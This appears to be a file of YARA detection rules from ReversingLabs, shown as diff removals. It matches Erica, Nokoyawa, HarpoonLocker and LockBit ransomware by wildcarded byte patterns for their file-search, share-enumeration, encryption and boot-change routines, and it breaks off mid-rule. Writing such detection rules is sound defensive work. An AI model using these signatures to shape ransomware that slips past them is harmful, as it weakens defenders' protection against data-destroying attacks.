-rule REVERSINGLABS_Win32_Ransomware_Erica : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Erica ransomware."
-		author = "ReversingLabs"
-		id = "38f57157-bd49-5a63-8c69-497eb9efe274"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Erica.yara#L1-L76"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "93512091943f3a3b395c38fa3b0f5ecdbbf1cdf967ccfea4d7145c940076e046"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Erica"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 83 C4 ?? 53 56 57 89 4D ?? 8B F2 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68
-            ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? 8A 43 ?? 2C ?? 72 ?? 74 ?? EB ?? BF ??
-            ?? ?? ?? EB ?? BF ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? 33 DB 68 ?? ?? ?? ?? 8B 45 ?? 50
-            8B 45 ?? 50 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 6A ?? 6A ?? 57 8B 06 50
-            E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ??
-            50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 50 6A ?? 8B 45 ?? 50 8B 45 ?? 50
-            8B 06 50 E8 ?? ?? ?? ?? 85 C0 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? BB ??
-            ?? ?? ?? EB ?? BB ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 5A
-            59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
-        }
-		$encrypt_files_p2 = {
-            8D 40 ?? 55 8B EC 83 C4 ?? 53 33 DB 89 5D ?? 89 5D ?? 8B D9 89 55 ?? 89 45 ?? 33 C0
-            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? 33 C0 89 45 ?? 33 C0 89 45 ?? 33
-            C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 50 8B 45 ?? 8D 50 ?? 8B 45 ?? 33 C9
-            E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 83 C0 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B
-            40 ?? E8 ?? ?? ?? ?? 8B D0 4A 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? E8
-            ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 8B 45 ?? 8B 48 ?? 8B 45 ?? 8D 50 ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 8B 45 ?? 50 53 8B 45 ?? 50 8B 45 ?? 50 8D 4D ?? 8D 55 ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ??
-            8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 8B 45
-            ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 8B 45 ?? 83 C0 ?? 8B 55 ??
-            E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 50 6A ?? 6A
-            ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 85 C0 74 ?? C7 45 ?? ?? ??
-            ?? ?? 8B 45 ?? 83 C0 ?? 8B 55 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? EB
-            ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ??
-            ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8D 50 ?? 8B 45 ?? 8B 4D ?? E8 ?? ??
-            ?? ?? C3
-        }
-		$find_files = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 5D ?? 8B D9 89 55 ?? 89
-            45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
-            30 64 89 20 8B C3 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ??
-            80 7C 02 ?? ?? 74 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45
-            ?? 80 38 ?? 75 ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 85 F6 0F 95 C0 EB ?? F7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 83 3B ?? 74 ?? 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            FF 33 FF 75 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ??
-            ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 ?? 56 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
-}
-rule REVERSINGLABS_Win64_Ransomware_Nokoyawa : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Nokoyawa ransomware."
-		author = "ReversingLabs"
-		id = "31470ce4-381f-50d2-bbca-03c592e62a7d"
-		date = "2022-06-06"
-		modified = "2022-06-06"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Nokoyawa.yara#L1-L104"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "85b7d93db06007d0043b1489b532410ccc700cf082b641fff8a09de2ffe9101d"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Nokoyawa"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$enum_shares = {
-            48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            48 8D 44 24 ?? 48 89 44 24 ?? 4C 8B 8C 24 ?? ?? ?? ?? 45 33 C0 33 D2 B9 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 7C 24 ?? ?? 74 ?? 33 C0 E9 ?? ?? ?? ?? 8B 44 24 ??
-            8B D0 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? 33 C0
-            E9 ?? ?? ?? ?? 8B 44 24 ?? 44 8B C0 33 D2 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 4C 8D 4C 24
-            ?? 4C 8B 44 24 ?? 48 8D 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 7C
-            24 ?? ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24
-            ?? 8B 44 24 ?? 39 44 24 ?? 73 ?? 48 8B 44 24 ?? 83 78 ?? ?? 75 ?? 8B 44 24 ?? 48 6B
-            C0 ?? 48 8B 4C 24 ?? 48 8B 54 01 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
-            ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 48 6B C0
-            ?? 48 8B 4C 24 ?? 8B 44 01 ?? 83 E0 ?? 83 F8 ?? 75 ?? 8B 44 24 ?? 48 6B C0 ?? 48 8B
-            4C 24 ?? 48 03 C8 48 8B C1 48 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? EB ?? 81 7C 24 ??
-            ?? ?? ?? ?? 74 ?? EB ?? 81 7C 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF
-            15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15
-        }
-		$find_files_p1 = {
-            FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83
-            E0 ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 84
-            ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ??
-            ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48
-            8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ??
-            ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 48 8D 4C 24
-            ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ??
-            48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ??
-            ?? ?? 74 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ??
-            ?? 3D ?? ?? ?? ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B 8C 24 ??
-            ?? ?? ?? 0F B7 04 41 83 F8 ?? 75 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48
-        }
-		$find_files_p2 = {
-            98 48 8B 8C 24 ?? ?? ?? ?? 0F B7 04 41 83 F8 ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B 8C 24 ?? ?? ?? ??
-            0F B7 04 41 83 F8 ?? 75 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B
-            8C 24 ?? ?? ?? ?? 0F B7 04 41 83 F8 ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 4C
-            24 ?? E8 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ??
-            ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 75 ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B 4C
-            24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48
-            81 C4
-        }
-		$encrypt_files = {
-            48 89 4C 24 ?? 48 83 EC ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 48 89 44 24 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? B9 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 89 44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24
-            ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4C 24 ??
-            E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 41 B8 ?? ?? ?? ?? 33 D2
-            48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ??
-            48 8B 4C 24 ?? 48 89 48 ?? 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 C7
-            40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ??
-            48 89 48 ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 48 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 8B 4C 24 ?? 48 89 41 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 41 ??
-            48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 8B 94 24 ?? ?? ??
-            ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 98 4C 8B C0 48 8D
-            15 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 48 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 C0 ??
-            48 8B D0 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24
-            ?? 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 45 33 C9 41 B8
-            ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 50 ?? 48 8B 44 24 ?? 48 8B 48 ?? FF 15 ?? ?? ?? ??
-            48 8D 05 ?? ?? ?? ?? F0 FF 00 48 83 C4 ?? C3
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($enum_shares) and ($encrypt_files)
-}
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Harpoonlocker : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects HarpoonLocker ransomware."
-		author = "ReversingLabs"
-		id = "3605d354-5a33-54b1-83ad-ad514c78357b"
-		date = "2022-01-27"
-		modified = "2022-01-27"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.HarpoonLocker.yara#L1-L96"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "20587f9dce5981934498d9979843a090224ba649def8b694adf7799b7060cc25"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "HarpoonLocker"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$encrypt_files_p1 = {
-            7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 14 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 6F
-            ?? ?? ?? ?? 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 73 ?? ?? ?? ?? 25 06 07 9A 7D
-            ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? ?? 26 07 17 58 0B 07 06 8E
-            69 32 ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 73 ?? ?? ?? ?? 0D
-            09 12 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ??
-            ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 12 ??
-            12 ?? 28 ?? ?? ?? ?? 12 ?? 12 ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 59 13 ?? 72 ?? ?? ?? ?? 11
-            ?? 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 2C ?? 20 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 2B ?? 2A
-        }
-		$encrypt_files_p2 = {
-            12 ?? FE 15 ?? ?? ?? ?? 12 ?? FE 15 ?? ?? ?? ?? 12 ?? FE 15 ?? ?? ?? ?? 02 16 12 ?? 28
-            ?? ?? ?? ?? 26 08 7B ?? ?? ?? ?? 0D 08 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 35 ?? 08 7B ?? ??
-            ?? ?? 16 36 ?? DD ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 72
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 10 ?? 03 03 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
-            13 ?? 1F ?? 8D ?? ?? ?? ?? 13 ?? 03 6F ?? ?? ?? ?? 16 11 ?? 16 1F ?? 28 ?? ?? ?? ?? 03
-            6F ?? ?? ?? ?? 16 11 ?? 1F ?? 1F ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 1F ?? 6A
-            13 ?? 17 13 ?? 09 6E 13 ?? 2B ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 59 13 ?? 11 ?? 11 ?? 30
-            ?? 02 19 17 7E ?? ?? ?? ?? 19 20 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ??
-            7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? 11 ?? 7E ?? ?? ?? ?? 1A 16 09 20 ??
-            ?? ?? ?? 58 14 28 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ??
-            06 1F ?? 16 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ??
-            DD ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 26 16 13 ?? 16 13 ?? 2B ?? 11 ?? 20 ?? ?? ?? ?? 2F
-            ?? 09 6E 11 ?? 6A 59 13 ?? 11 ?? D4 8D ?? ?? ?? ?? 13 ?? 11 ?? 17 58 11 ?? 33 ?? 11 ??
-            D4 8D ?? ?? ?? ?? 13 ?? 07 11 ?? 28 ?? ?? ?? ?? 11 ?? 16 11 ?? 8E 69 28 ?? ?? ?? ?? 11
-            ?? 18 5D 2D ?? 11 ?? 8E 69 1F ?? 33 ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 16 07 11
-            ?? 28 ?? ?? ?? ?? 11 ?? 8E 69 28 ?? ?? ?? ?? 11 ?? 11 ?? 8E 69 58 13 ?? 11 ?? 17 58 13
-            ?? 11 ?? 11 ?? 3F ?? ?? ?? ?? 11 ?? 20 ?? ?? ?? ?? 32 ?? 11 ?? 16 07 09 28 ?? ?? ?? ??
-            11 ?? 8E 69 28 ?? ?? ?? ?? 2B ?? 11 ?? 16 07 11 ?? 28 ?? ?? ?? ?? 11 ?? 8E 69 28 ?? ??
-            ?? ?? DE ?? 26 DE ?? 26 DE ?? 00 07 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 00 06 28 ?? ?? ??
-            ?? 26 DE ?? 26 DE ?? DC 2A
-        }
-		$find_files = {
-            73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 7E ?? ?? ?? ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 2C ?? 2A 00 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ??
-            ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 14 0B 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B DE ?? 26
-            DE ?? 07 2C ?? 07 8E 16 FE 01 2B ?? 17 0C 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 16 13
-            ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 08 2C ?? 11 ?? 7B ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? ??
-            26 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 08 2C ?? DD ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17
-            6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 07 13 ?? 16 13 ?? 2B ?? 73 ?? ?? ??
-            ?? 13 ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ??
-            7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 7E ?? ?? ?? ?? 11 ?? FE 06 ??
-            ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 11 ?? 7B ?? ?? ?? ?? 09 28 ?? ?? ?? ?? DE
-            ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 09 6F ?? ?? ?? ?? DE ?? 26 DE
-            ?? DE ?? 26 DE ?? 2A
-        }
-		$change_boot = {
-            02 8E 2C ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2A 02 16 9A 72
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A 02 16 9A 72 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 2C ?? 17 80 ?? ?? ?? ?? 16 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 2C ?? 17 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 28 ??
-            ?? ?? ?? 2A 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A 28 ?? ?? ?? ?? 2A
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ($change_boot) and ($find_files) and ( all of ($encrypt_files_p*))
-}
-rule REVERSINGLABS_Win32_Ransomware_Lockbit : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects LockBit ransomware."
-		author = "ReversingLabs"
-		id = "9a6405dc-da1f-5426-a424-a73bceb1928c"
-		date = "2022-03-31"
-		modified = "2022-03-31"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.LockBit.yara#L1-L282"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "030222bd659c7e0e03858fa062067b1483aca3b7973cce19a1e7cdbb48d4405c"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "LockBit"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$enum_resources_v1 = {
-            55 8B EC 83 EC ?? 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 51 6A ?? 6A ?? 6A ?? C7 45 ??
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ??
-            ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 53 56 FF 75 ?? 6A ?? 57 E8 ?? ?? ?? ?? 83
